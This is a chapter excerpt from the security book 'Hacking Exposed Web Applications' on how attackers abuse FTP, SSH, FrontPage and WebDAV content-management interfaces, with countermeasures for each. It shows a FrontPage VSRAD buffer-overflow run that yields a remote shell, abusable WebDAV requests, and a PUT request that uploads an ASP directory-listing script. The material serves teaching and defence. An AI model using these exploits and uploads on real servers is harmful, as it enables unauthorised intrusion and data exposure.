Web Content Management | HACKING EXPOSED WEB APPLICATIONS, 3rd Edition

OK, you've got your web server, you've got some sizzlin' dynamic contentnow how shall the 'twain meet? Obviously, there has to be some mechanism for transferring files to the web server, and that mechanism is usually the most convenient available: connect to the web server over the Internet using FTP or SSH (and then use scp) or use one of a handful of proprietary protocols such as Microsoft's FrontPage. Wily attackers will also seek out these interfaces as alternative avenues into a web application. This section will discuss the pros and cons of the most common mechanisms.

Note	We will focus on Internet- facing mechanisms here and ignore behind-the-firewall-oriented techniques like Sun's NFS, Microsoft file sharing, or Microsoft's Application Center load-balancing and content-distribution platform.

FTP

Per generally accepted security principles, you shouldn't be running anything but an HTTP daemon on your web application servers. So you can imagine what we're going to say about running FTP, what with the ongoing parade of announcements of vulnerabilities in popular FTP server software like Washington University's wuftp package: DON'T RUN FTP ON YOUR WEB SERVERS! There's just too much risk that someone will guess an account password or find an exploit that will give them the ability to write to the file system, and then it's only a short hop to web defacement (or worse ). The only exception we'd make to this rule is if access to the FTP service is restricted to a certain small range of IP addresses.

Nevertheless, it's always good to check for FTP in a comprehensive web application audit to ensure that some developer hasn't taken the easy way out. FTP lives on TCP port 21 and can be found with any decent port scanner.

SSH/scp

As we noted in our discussion of web management techniques earlier in this chapter, Secure Shell version 2 (SSH2) is a recommended protocol for remote web server management (given that it is properly maintained ). There is a utility called Secure Copy (scp) that is available to connect to SSH services and perform file transfers right over (authenticated and encrypted) SSH tunnels. If you're a command-line jockey, this is probably your best bet, but it will seem positively primitive compared to graphical content management tools like FrontPage (see the following section). Well, security does have its pricesigh.

As we've noted, SSH lives on TCP port 22 if you're interested in checking for it and attempting password-guessing attacks. There are also some remote vulnerabilities associated with certain SSH1 daemons, as we noted earlier.

Frontpage

Microsoft's FrontPage (FP) web authoring tool is one of the more popular and easy-to-use platforms for managing web site content. It is primarily targeted at low- to midrange users who wish to create and manage content on individual web servers, but it is commonly supported by large web hosting providers who cater to individuals and businesses of all sizes.

FP is actually the client, while FP Server Extensions (FPSEs) run on the server side, enabling remote content manipulation to authorized users. FPSEs ship as a default component of IIS 5 and are implemented as a set of HTML files, scripts, executables, and DLLs that reside in a series of virtual roots with the name _vti_*, where the asterisk represents any of bin, cnf, log, pvt, script, and txt (FrontPage was purchased from Vermeer Technologies Inc., hence the vti appellation). The following request/response is usually a good indicator that FPSEs are running:

 C:\>  nc -vv luxor 80  luxor [192.168.234.34] 80 (http) open GET /_vti_bin/shtml.dll HTTP/1.0     HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 07 Mar 2002 04:38:01 GMT Content-Type: text/html; charset=windows-1252     <HTML><BODY>Cannot run the FrontPage Server Extensions' Smart HTML interpreter on this non-HTML page: ""</BODY></HTML>

FP communications are propagated over HTTP via a proprietary protocol called FrontPage Remote Procedure Call (RPC). Methods are POSTed to the relevant FP DLLs, as shown in the following example:

 POST /test2/_vti_bin/_vti_aut/author.dll HTTP/1.0 Date: Thu, 18 Apr 2002 04:44:28 GMT MIME-Version: 1.0 User-Agent: MSFrontPage/4.0 Host: luxor Accept: auth/sicily Content-Length: 62 Content-Type: application/x-www-form-urlencoded X-Vermeer-Content-Type: application/x-www-form-urlencoded Proxy-Connection: Keep-Alive Pragma: no-cache method=open+service%3a4%2e0%2e2%2e3406&service%5fname=%2ftest2

The first line shows the DLL that is the target of the POST, and the last line shows the methods being invoked (in this case, the FP client is trying to open the test2 application directory for editing, as you can see by the fname=/test2 syntax at the end of the line). FPSE methods can also be called in URL query string arguments like so (line-wrapped to adhere to page-width constraints):

 /_vti_bin/_vti_aut/author.dll?method=list+documents%3a3%2e0%2e2%2e1706 &service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false &listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true& listDerivedT=false&listBorders=false

By default, FP authoring access to a server is authenticated using Windows authentication (NTLM over HTTP; see Chapter 4), so don't get the impression that an attacker can simply walk through the front door of any server running FPSE, although any relaxation of the default security can result in this problem. If you're concerned about the security of your FP webs (as virtual roots that allow FP authoring access are called), you can right-click any server in the IISAdmin tool (iis.msc) on IIS 5, select All Tasks Check Server Extensions, and then you'll be prompted, as shown here:

If you elect to check the server extensions, the following tasks will be performed:

Checks read permissions on the Web
Checks that Service.cnf and Service.lck are read/write
Updates Postinfo.html and _vti_inf.htm
Verifies that _vti_pvt, _vti_log, and _vti_bin are installed, and that _vti_bin is executable
Determines whether virtual roots or metabase settings are correct and up-to-date
Checks that the IUSR_ machinename account doesn't have write access
Warns you if you are running on a FAT file system, which means that you cannot supply any web security whatsoever

Tip
You can also use Microsoft's URLScan tool to control access to FrontPage; see "References and Further Reading" at the end of this chapter for links on how to do this.

Over the years , FP Server Extensions have garnered a bad reputation, security-wise. The most widely publicized problem was with the FrontPage 98 Server Extension running with Apache's HTTP Server on UNIX, which allowed remote root compromise of a server. There have been a series of less severe exploits against machines running versions of FP ever since.

Personally, we don't think this makes FP a bad platform for web content management. All of the published vulnerabilities have been fixed and most of the recent ones were not very severe anyway ( path disclosure was about the worst impact). We will discuss a serious FPSE-related issue momentarily, but if you read carefully , you will note that it is related to a Visual InterDev component and not FPSE itself. Thus, whenever someone asks what we recommend for remote web content management, we don't hesitate to recommend FrontPage 2002 or greater. However, we always apply the usual caveats: Any technology in unsophisticated hands can be a liability, so if you're going to implement FrontPage, make sure you understand its architecture and how to lock it down appropriately.

FrontPage VSRAD Buffer Overflow

Popularity:	7
Simplicity:	9
Impact:	10
Risk Rating:	9

Attack The most severe of the recent FPSE-related vulnerabilities was a buffer overflow discovered by the Chinese security research group NSFocus in mid-2001. We say FPSE- related because NSFocus actually discovered a problem in a subcomponent of FPSE called Visual Studio RAD (Remote Application Deployment) support. VSRAD allows users of Microsoft's Visual InterDev web development platform to administer components on a remote IIS server. It is not installed by default on Windows 2000 and actually pops up a warning when it is optionally added, admonishing the user that it is a development tool and should not be deployed in production.

If you manage to disregard this warning, you'll be justly rewarded by anyone who can connect to your web server. NSFocus released a proof-of-concept tool called fpse2000ex.exe that exploits the buffer overflow and shovels a shell back to the attacker's system. We once used this tool against a dual- homed web server at a large multinational client, as shown in the following code listing (IP addresses have been changed to protect the innocent). Note that you may have to press ENTER after sending the exploit to pop the shell, and subsequent commands may also require an additional ENTER to work. We compiled this exploit using Cygwin on Win32.

 C:\>  fpse2000ex.exe 192.168.1.254  buff len = 2201 payload sent! exploit succeed     Press CTRL_C to exit the shell!     Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp.     C:\WINNT\system32> ipconfig C:\WINNT\system32>ipconfig         Windows 2000 IP Configuration     Ethernet adapter Internet:              Connection-specific DNS Suffix  . :          IP Address. . . . . . . . . . . . : 192.168.1.254          Subnet Mask . . . . . . . . . . . : 255.255.255.128          Default Gateway . . . . . . . . . : 192.168.1.1     Ethernet adapter Admin:              Connection-specific DNS Suffix  . :          IP Address. . . . . . . . . . . . : 10.230.226.73          Subnet Mask . . . . . . . . . . . : 255.255.255.0          Default Gateway . . . . . . . . . :

Once we'd compromised the perimeter web server using fpse2000ex, we ventured out its internal interface (called "Admin" in the previous example) and subsequently conquered the company's entire internal infrastructure. So, you can see that FPSE can present a serious risk if not deployed properly.

FPSE VSRAD Countermeasures

Countermeasure This is an easy one to fix: don't deploy FPSE VSRAD support on Internet-facing machines. It is not installed by default, but if you want to check, go to the Add/Remove Programs Control Panel, then to Add/Remove Windows Components, select Internet Information Services Details, and make sure Visual InterDev RAD Remote Deployment support is disabled. Microsoft recommends getting the patch anyway just in case, which is probably a good idea (many organizations' intranets are wilder than the Internet nowadays). The location of the patch is listed in the "References and Further Reading" section at the end of this chapter.

Webdav

Apparently not satisfied with FrontPage, Microsoft long ago backed a set of extensions called Web Distributed Authoring and Versioning (WebDAV, or just DAV) to HTTP, designed to support web content management. WebDAV is described in RFC 2518. It is supported by default in Microsoft's IIS web server version 5 and later, and there are WebDAV add-on modules for most other popular web servers as well (even Apache has a mod_dav).

We've gone on record in other editions of Hacking Exposed as WebDAV skeptics, mainly because it provides a way to write content to the web server right over HTTP, without much built-in security other than what is supplied by file system ACLs. This is a recipe for disaster unless it is properly restricted. Table 9-2 shows some of the more readily abused WebDAV methods.

A couple of notes about Table 9-2: For the COPY method, all WebDAV resources must support this method, but that doesn't mean you'll always have the ability to copy even if the app states that the permission exists. With the PROPFIND method, an empty request will return a list of default properties. Attackers can then create a proper propfind request that contains an XML body with the parameters for a search.

Table 9-2: WebDAV Methods That Can Be Abused
WebDAV Method	Description	Example Request
MKCOL	Creates a new collection (folder)	MKCOL /newfolder/ HTTP/1.1
DELETE	Deletes the named resource	DELETE /file.asp HTTP/1.1
PUT	Uploads files to the server	PUT /nameofyourfile.asp HTTP/1.1 Content-Length: 4 test
COPY	Copies one resource to another location	COPY /copyme.asp HTTP/1.1 Destination: /putmehere/copyme.asp
MOVE	Moves a resource from one location to another	MOVE /moveme.asp HTTP/1.1 Destination: /putmehere/ moveme.asp
LOCK	Locks a resource from being modified	LOCK /locked.asp HTTP/1.1 Timeout: Infinite, Second-4100000000
UNLOCK	Unlocks a resource from being locked requires a lock token	UNLOCK /locked.asp HTTP/1.1 Lock-Token: <opaquelocktoken:a94c3fa4-b82f-192c-ffb4-00c02e8f2>
PROPFIND	Used to search the properties of a resource	PROPFIND /file.asp HTTP/1.0 Content-Length: 0
PROPPATCH	Used to change the properties of a resource	PROPPATCH /file.asp HTTP/1.0 <xml data on which properties to modify>

There have been a few published vulnerabilities in COTS WebDAV implementations over the years. Most have been of low to medium severity (directory structure disclosure to denial of service). At this stage, the hacking community seems to be concentrating on the low-hanging fruit, as many of the published advisories concern DoS problems.

Of course, this chapter is not about COTS bugs (see Chapter 3 for that), but rather misconfigurations. Let's take a look at some common ways to identify and exploit WebDAV misconfigurations.

It's most common for web servers to have WebDAV enabled for limited sections of the site. For example, a site could have an "upload" folder (http://www.site.com/up-load/) with the PUT command enabled for users to upload contents to the site. Because each folder and subfolder on a site will have different commands and permissions, the first step in your assessment is to identify the permissions associated with each of the folders and files on the server. You can easily accomplish this with the OPTIONS command. The most efficient way to discover the available permissions of the server's files and folders is to take the data gathered from your crawl results of the site and enumerate through each folder and file to identify those that have write access. When you find MOVE, MKCOL, PUT, and DELETE within your results, you've found pay dirt. The following example HTTP request shows how the OPTIONS command is used to map out the WebDAV permissions on a site's root folder collection:

 OPTIONS / HTTP/1.1 Host: www.site.com     HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Tue, 20 Sep 2005 17:46:18 GMT X-Powered-By: ASP.NET MS-Author-Via: MS-FP/4.0,DAV Content-Length: 0 Accept-Ranges: none DASL: <DAV:sql> DAV: 1, 2 Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK Cache-Control: private

Next , we examine what permissions exist on a given folder, which can point us towards more interesting content that might be attacked via WebDAV. We've highlighted in bold the modification methods that are permitted on this example folder:

 OPTIONS /Folder1/any_filename HTTP/1.0 Host: www.site.com     HTTP/1.1 200 OK Connection: close Date: Tue, 20 Sep 2005 19:10:33 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET MS-Author-Via: DAV Content-Length: 0 Accept-Ranges: bytes DASL: <DAV:sql> DAV: 1, 2 Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, MKCOL, LOCK, UNLOCK Cache-Control: private

As you can see from this example, this folder permits some fairly powerful WebDAV methods (DELETE, PUT, MKCOL) that attackers could easily exploit. One example technique we've seen used before is to upload a script (in this example, an .asp page) that performs a recursive directory listing throughout the web root.

 PUT /writable-folder/dirlisting.asp HTTP/1.1 Host: www.site.com Content-Length: 1279     <h3>Directory listing of Webroot</h3> <% ListFolderContents(Server.MapPath("/")) %>     <% sub ListFolderContents(path)       dim fs, folder, file, item, url           set fs = CreateObject("Scripting.FileSystemObject")       set folder = fs.GetFolder(path)           Response.Write("<li><b>" & folder.Name & "</b> - " _         & folder.Files.Count & " files, ")       if folder.SubFolders.Count > 0 then         Response.Write(folder.SubFolders.Count & " directories, ")       end if       Response.Write(Round(folder.Size / 1024) & " KB total." _         & vbCrLf)           Response.Write("<ul>" & vbCrLf)           for each item in folder.SubFolders         ListFolderContents(item.Path)       next           for each item in folder.Files         url = MapURL(item.path)         Response.Write("<li><a href=""" & url & """>" & item.Name & "</ a> - " _           & item.Size & " bytes, " _           & "last modified on " & item.DateLastModified & "." _           & "</li>" & vbCrLf)       next           Response.Write("</ul>" & vbCrLf)       Response.Write("</li>" & vbCrLf)    end sub        function MapURL(path)       dim rootPath, url           rootPath = Server.MapPath("/")       url = Right(path, Len(path) - Len(rootPath))       MapURL = Replace(url, "\", "/")    end function %>     HTTP/1.1 201 Created Connection: close Date: Tue, 20 Sep 2005 19:31:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Location: http://www.site.com/writable-folder/myfile.asp Content-Length: 0 Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

Another method that you may even find easier is to use your WebDAV client. If you're using Windows, you already have a WebDAV client ready to go. Simply follow these steps.

In Internet Explorer, go to File Open. Enter the upload URL and check the option "Open as Web Folder", as shown here:
IE will open the site as a UNC path. Drag and drop your files as needed: If you're using UNIX or Linux, you can download the straightforward command-line client called Cadaver. You'll find a download link for Cadaver in the "References and Further Reading" section at the end of this chapter.

WebDav Authoring Countermeasures

Countermeasure With the support of Microsoft, widespread deployment of WebDAV has become a reality. The most extreme advice we can give regarding WebDAV is to disable it on production web servers. Assuming this is not practical, you can alternatively run it in a separate instance of the HTTP service with heavy ACL-ing and authentication. It is also possible to restrict the type of methods that are supported on the server, although if you're using WebDAV, you're probably going to want your authors to have the full run of methods available to them. Make sure you trust your authors!

Configuring WebDAV can be confusing, since for some reason it is often configured separately from standard web server extensions. We've listed standard instructions for configuring WebDAV on IIS and Apache next. Beware that there are numerous implementations of WebDAV; you should consult the documentation from your WebDAV software provider for best results.

Secure WebDAV Configuration on Apache On Apache, control of WebDAV depends heavily on the specific DAV software module you've installed. The following example shows how to can disable specific WebDAV methods on the mod_dav implementation (see "References and Further Reading" for a link) by adding the following to your Apache configuration file (i.e., httpd.conf):

 <Limit PROPFIND PROPPATCH LOCK UNLOCK MOVE COPY MKCOL PUT DELETE> Order allow,deny Deny from all </Limit> A better method is to use the Limit method to remove all but necessary methods: <Directory /usr/local/apache/htdocs> <Limit GET POST OPTIONS> Order allow,deny Allow from all </Limit> <LimitExcept GET POST OPTIONS> Order deny,allow Deny from all </LimitExcept> </Directory>

Of course, you can also turn WebDAV off entirely by ensuring that the "DAV On" directive doesn't appear in the <Directory> or <Location> directive in your Apache configuration file (httpd.conf). By default, WebDAV is off and this line does not appear.

Secure WebDAV Configuration on IIS On IIS 5.x, Microsoft's Knowledge Base Article 241520 describes how to disable WebDAV (see "References and Further Reading" for a link to this article). The following is adapted from KB 241520:

Start Registry Editor (Regedt32.exe).
Locate and click the following key in the registry:

HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters
On the Edit menu, click Add Value, and then add the following registry value:

Value name: DisableWebDAV
Data type: DWORD
Value data: 1
Restart IIS. This change does not take effect until the IIS service or the server is restarted.

When it came to IIS 6.0, Microsoft finally did things right. First, WebDAV is disabled by default. Second, enabling or disabling WebDAV is extremely simple. You just open IIS administration (%systemroot%\system32\inetsrv\iis.msc), select Web Service Extensions, then select WebDAV and click the Prohibit button, as shown in Figure 9-1.

Figure 9-1: Disabling WebDav in IIS 6